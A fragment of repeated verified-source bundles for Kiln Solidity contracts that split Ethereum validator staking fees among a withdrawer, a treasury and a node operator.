ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
